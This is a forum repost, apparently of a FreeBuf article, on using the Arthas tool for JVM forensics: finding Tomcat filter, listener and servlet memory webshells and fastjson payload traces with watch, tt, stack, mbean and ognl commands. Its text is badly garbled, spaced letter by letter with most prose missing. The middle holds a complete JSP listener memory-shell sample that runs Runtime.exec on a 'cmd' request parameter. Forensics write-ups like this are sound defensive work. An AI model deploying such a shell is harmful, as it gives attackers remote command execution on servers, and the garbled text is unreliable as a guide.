[16078] 2020-11-11_如何使用Arthas进行JVM取证

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-18
2020-11-11_如何使用Arthas进行JVM取证 使 A r t h a s J V M f z x c p 3   F r e e B u f   2 0 2 0 - 1 1 - 1 1 A r t h a s j a v a I n s t r u m e n t J V M T I J V M a r t h a s h t t p s : / / g i t h u b . c o m / a l i b a b a / a r t h a s / r e l e a s e s 使 j a v a   - j a r   a r t h a s - b o o t . j a r t h r e a d   # 线   /   线 j a d   # c l a s s s c   # j v m s m   # r e d e f i n e   # . c l a s s r e d e f i n e d u m p   # b y t e   c o d e c l a s s l o a d e r   # c l a s s l o a d e r u r l s t t   # s t a c k   # t r a c e   # w a t c h   # m b e a n   # m b e a n c l a s s l o a d e r j a d     f a s t j s o n f a s t j s o n w a f l d a p 使 c l a s s l o a d e r c l a s s l o a d e r   c l a s s l o a d e r   - l   c l a s s l o a d e r   - t   C l a s s L o a d e r
c l a s s l o a d e r   - a   # C l a s s L o a d e r c l a s s l o a d e r   - a   F a c t o r y U R L C l a s s L o a d e r h a s h : 4 b 5 a 7 5 6 0 ,   j a v a . n e t . F a c t o r y U R L C l a s s L o a d e r @ 4 b 5 a 7 5 6 0 T o u c h F i l e 使 j a d
s c s m     s c s m 使 - E   使 - d   使 * s h e l l s m s h e l l p a y l o a d   /   E v i l f a s t j s o n
s t a c k t r a c e     s t a c k t r a c e 使 s t a c k / t r a c e     r a s p 使 s t a c k t r a c e p a y l o a d @ c o m . s u n . r o w s e t . J d b c R o w S e t I m p l
m b e a n     F i l t e r   s h e l l t o m c a t s h i r o w e b s h e l l j v i s u a l v m a r t h a s m b e a n   j 2 e e T y p e = F i l t e r m b e a n   - m w a t c h   /   t t     s h e l l 1 t t   - t       # 2 w a t c h           #   - >   p a r a m s     /   r e t u r n O b j     /   t h r o w E x p   /   t a r g e t     - >   o g n l   p a r a m s [ 0 ] < 0   - > - x   / h a s h m a p - b   - e   - s   - f   l i s t e n e r s h e l l < % @   p a g e   i m p o r t = " o r g . a p a c h e . c a t a l i n a . c o r e . A p p l i c a t i o n C o n t e x t "   % >
s t a n d a r d C o n t e x t . a d d A p p l i c a t i o n E v e n t L i s t e n e r ( l i s t e n e r d e m o ) ; t t   - t   s t a n d a r d C o n t e x t u r l 访 l i s t e n e r g e t A p p l i c a t i o n E v e n t L i s t e n e r s < % @   p a g e   i m p o r t = " o r g . a p a c h e . c a t a l i n a . c o r e . A p p l i c a t i o n C o n t e x t "   % > < % @   p a g e   i m p o r t = " o r g . a p a c h e . c a t a l i n a . c o r e . S t a n d a r d C o n t e x t "   % > < %         O b j e c t   o b j   =   r e q u e s t . g e t S e r v l e t C o n t e x t ( ) ;         j a v a . l a n g . r e f l e c t . F i e l d   f i e l d   =   o b j . g e t C l a s s ( ) . g e t D e c l a r e d F i e l d ( " c o n t e x t " ) ;         f i e l d . s e t A c c e s s i b l e ( t r u e ) ;         A p p l i c a t i o n C o n t e x t   a p p l i c a t i o n C o n t e x t   =   ( A p p l i c a t i o n C o n t e x t )   f i e l d . g e t ( o b j ) ;         / / A p p l i c a t i o n C o n t e x t         f i e l d   =   a p p l i c a t i o n C o n t e x t . g e t C l a s s ( ) . g e t D e c l a r e d F i e l d ( " c o n t e x t " ) ;         f i e l d . s e t A c c e s s i b l e ( t r u e ) ;         S t a n d a r d C o n t e x t   s t a n d a r d C o n t e x t   =   ( S t a n d a r d C o n t e x t )   f i e l d . g e t ( a p p l i c a t i o n C o n t e x t ) ;         / / S t a n d a r d C o n t e x t         L i s t e n e r D e m o   l i s t e n e r d e m o   =   n e w   L i s t e n e r D e m o ( ) ;         / / L i s t e n e r         s t a n d a r d C o n t e x t . a d d A p p l i c a t i o n E v e n t L i s t e n e r ( l i s t e n e r d e m o ) ; % > < % !         p u b l i c   c l a s s   L i s t e n e r D e m o   i m p l e m e n t s   S e r v l e t R e q u e s t L i s t e n e r   {                 p u b l i c   v o i d   r e q u e s t D e s t r o y e d ( S e r v l e t R e q u e s t E v e n t   s r e )   {                         S y s t e m . o u t . p r i n t l n ( " r e q u e s t D e s t r o y e d " ) ;                 }                 p u b l i c   v o i d   r e q u e s t I n i t i a l i z e d ( S e r v l e t R e q u e s t E v e n t   s r e )   {                         S y s t e m . o u t . p r i n t l n ( " r e q u e s t I n i t i a l i z e d " ) ;                         t r y {                                 S t r i n g   c m d   =   s r e . g e t S e r v l e t R e q u e s t ( ) . g e t P a r a m e t e r ( " c m d " ) ;                                 R u n t i m e . g e t R u n t i m e ( ) . e x e c ( c m d ) ;                         } c a t c h   ( E x c e p t i o n   e   ) {                                 / / e . p r i n t S t a c k T r a c e ( ) ;                         }                 }         } % >
使 w a t c h   r e t u r n O b j   l i s t e n e r s h e l l F i l t e r   s h e l l w a t c h   o r g . a p a c h e . c a t a l i n a . c o r e . S t a n d a r d C o n t e x t   f i n d F i l t e r M a p s   r e t u r n O b j w a t c h   o r g . a p a c h e . c a t a l i n a . c o r e . S t a n d a r d C o n t e x t   g e t S e r v l e t C o n t e x t   t a r g e t . f i l t e r D e f s L i s t e n e r   s h e l l w a t c h   o r g . a p a c h e . c a t a l i n a . c o r e . S t a n d a r d C o n t e x t   g e t A p p l i c a t i o n E v e n t L i s t e n e r s   r e t u r n O b j S e r v l e t   s h e l l
w a t c h   o r g . a p a c h e . c a t a l i n a . c o r e . S t a n d a r d C o n t e x t   f i n d F i l t e r M a p s   t a r g e t . s e r v l e t M a p p i n g s w a t c h   o r g . a p a c h e . c a t a l i n a . c o r e . C o n t a i n e r B a s e   f i n d C h i l d r e n   r e t u r n O b j w a t c h   o r g . a p a c h e . c a t a l i n a . c o r e . S t a n d a r d W r a p p e r   g e t S e r v l e t   r e t u r n O b j o g n l     s h u t d o w n h o o k o g n l   @ j a v a . l a n g . S y s t e m @ o u t . p r i n t l n ( h e l l o   o g n l )   o g n l o g n l   @ @ o g n l   @ @ ( ) o g n l   # v a l u e 1 = @ @ ( ) , # v a l u e 2 = x x x ( # v a l u e 1 ) , { # v a l u e 1 , # v a l u e 2 }   o g n l   t a r g e t . { n a m e }   a r r a y n a m e o g n l   @ T e s t @ n . e n t r y S e t ( ) . i t e r a t o r . { ?   # t h i s . k e y . n a m e ( )   = =   R U N }   使 J a v a W e b s h e l l o g n l   @ j a v a . l a n g . A p p l i c a t i o n S h u t d o w n H o o k s @ h o o k s . k e y S e t ( ) . t o A r r a y ( ) . { g e t C l a s s ( ) } . { g e t N a m e ( ) } d u m p       /   j a d s h e l l j a d d u m p h t t p s : / / g i t h u b . c o m / a l i b a b a / a r t h a s / i s s u e s / 7 6 3 使 h t t p s : / / g i t h u b . c o m / h e n g y u n a b c / d u m p c l a s s d u m p F e r n f l o w e r   ( j d - g u i c l a s s )
h t t p s : / / w w w . c n b l o g s . c o m / p o t a t s o S e c / p / 1 3 0 6 0 2 6 1 . h t m l h t t p s : / / z h u a n l a n . z h i h u . c o m / p / 2 2 7 8 6 2 0 0 4

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则